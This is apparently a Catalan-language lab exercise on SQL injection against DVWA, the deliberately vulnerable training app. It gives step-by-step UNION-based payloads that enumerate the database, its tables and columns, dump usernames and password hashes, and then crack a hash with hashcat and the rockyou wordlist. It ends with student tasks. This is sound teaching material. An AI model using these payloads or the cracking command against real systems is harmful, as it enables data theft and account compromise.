**Injeccions SQL a DVWA**

**Pas 1: Configurar DVWA per injecció SQL.**

Configurar DVWA perquè pugui ser explotat a través d'injeccions SQL. Aquí s'estableix la vulnerabilitat ajustant el nivell de seguretat a "LOW".

**Pas 2: Injecció bàsica**

* **SQL original: Entrem 1 al forumulari**
* SELECT first\_name, last\_name FROM users WHERE user\_id = '1';

Aquesta consulta cerca l'usuari amb user\_id = 1 i retorna el seu first\_name i last\_name.

* **Exploració:** Modificant manualment el paràmetre id a la URL:
* http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#

Això permet accedir a diferents registres de la base de dades.

**Pas 3: Escenari Sempre Cert**

* %' or '1'='1';
	+ El % no retorna cap coincidència vàlida, però '1'='1' sempre és cert.
	+ **SQL resultant:**
	+ SELECT first\_name, last\_name FROM users WHERE user\_id = '%' or '1'='1';

Això fa que la consulta retorni totes les files de la taula users.

**Pas 4: Mostra la Versió de la Base de Dades**

* %' or 0=0 union select null, version() #
	+ **Explicació:**
		- 0=0 sempre és cert.
		- **union select null, version()** afegeix una segona consulta que recupera la versió de la base de dades.
	+ **SQL resultant:**
	+ SELECT first\_name, last\_name FROM users WHERE user\_id = '%' or 0=0 UNION SELECT null, version();

**Pas 5: Mostra usuaris de la Base de Dades**

* %' or 0=0 union select null, user() #
	+ **Explicació:**
		- La funció **user()** retorna el nom de l'usuari de la base de dades que executa la consulta.
	+ **SQL resultant:**
	+ SELECT first\_name, last\_name FROM users WHERE user\_id = '%' or 0=0 UNION SELECT null, user();

**Pas 6: Mostra el Nom de la Base de Dades**

* %' or 0=0 union select null, database() #
	+ **Explicació:**
		- La funció **database()** retorna el nom de la base de dades actual.
	+ **SQL resultant:**
	+ SELECT first\_name, last\_name FROM users WHERE user\_id = '%' or 0=0 UNION SELECT null, database();

**Pas 7: Mostra totes les taules a information\_schema**

* %' and 1=0 union select null, table\_name from information\_schema.tables #
	+ **Explicació:**
		- **information\_schema.tables** emmagatzema informació sobre totes les taules de la base de dades.
		- Això retorna els noms de totes les taules.
	+ **SQL resultant:**
	+ SELECT first\_name, last\_name FROM users WHERE user\_id = '%' and 1=0 UNION SELECT null, table\_name FROM information\_schema.tables;

**Pas 8: Mostra totes les taules d'usuaris a information\_schema**

* %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%' #
	+ **Explicació:**
		- Filtra les taules que comencen amb el prefix user.
	+ **SQL resultant:**
	+ SELECT first\_name, last\_name FROM users WHERE user\_id = '%' and 1=0 UNION SELECT null, table\_name FROM information\_schema.tables WHERE table\_name LIKE 'user%';

**Pas 9: Mostra tots els camps de columnes de la taula d'usuaris a information\_schema**

* %' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #
	+ **Explicació:**
		- **information\_schema.columns** conté informació sobre totes les columnes de les taules.
		- **concat(table\_name,0x0a,column\_name)** combina el nom de la taula i el nom de la columna en una sola cadena, separats per un salt de línia.
	+ **SQL resultant:**
	+ SELECT first\_name, last\_name FROM users WHERE user\_id = '%' and 1=0 UNION SELECT null, CONCAT(table\_name, CHAR(10), column\_name) FROM information\_schema.columns WHERE table\_name = 'users';

**Pas 10: Mostra el contingut dels camps de les columnas**

* %' and 1=0 union select null, concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password) from users #
	+ **Explicació:**
		- **concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password)** combina els valors first\_name, last\_name, user i password en una sola cadena separats per salts de línia, fent la sortida més llegible.
	+ **SQL resultant:**
	+ SELECT first\_name, last\_name FROM users WHERE user\_id = '%' and 1=0 UNION SELECT null, CONCAT(first\_name, CHAR(10), last\_name, CHAR(10), user, CHAR(10), password) FROM users;
* Explicació del 0x0a (Salt de línia)
* **0x0a** és el codi hexadecimal per al caràcter de **salt de línia** en sistemes Unix/Linux.
* **Raó per utilitzar-lo:**
	+ Facilita la lectura separant valors en línies diferents.
	+ Millora la claredat de les dades quan es mostren moltes columnes concatenades.
* **Exemple de sortida amb 0x0a:**
* John
* Doe
* admin
* 5f4dcc3b5aa765d61d8327deb882cf99
* La condició **%' and 1=0** s'utilitza en injeccions SQL per **anul·lar la condició original** de la consulta SQL i **forçar l'execució del codi injectat**.

Un cop tenim la contrasenya provem de desencriptar-la amb el **hashcat**:

hashcat -m 0 -a 0 5f4dcc3b5aa765d61d8327deb882cf99 /usr/share/wordlists/rockyou.txt

**Tasca**:

* Què és l’arxiu rockyou? Mostra les deu primeres línies.
* Tenint en compte el resultat del pas 10, llista aquí les contrasenyes de tots els usuaris trobats.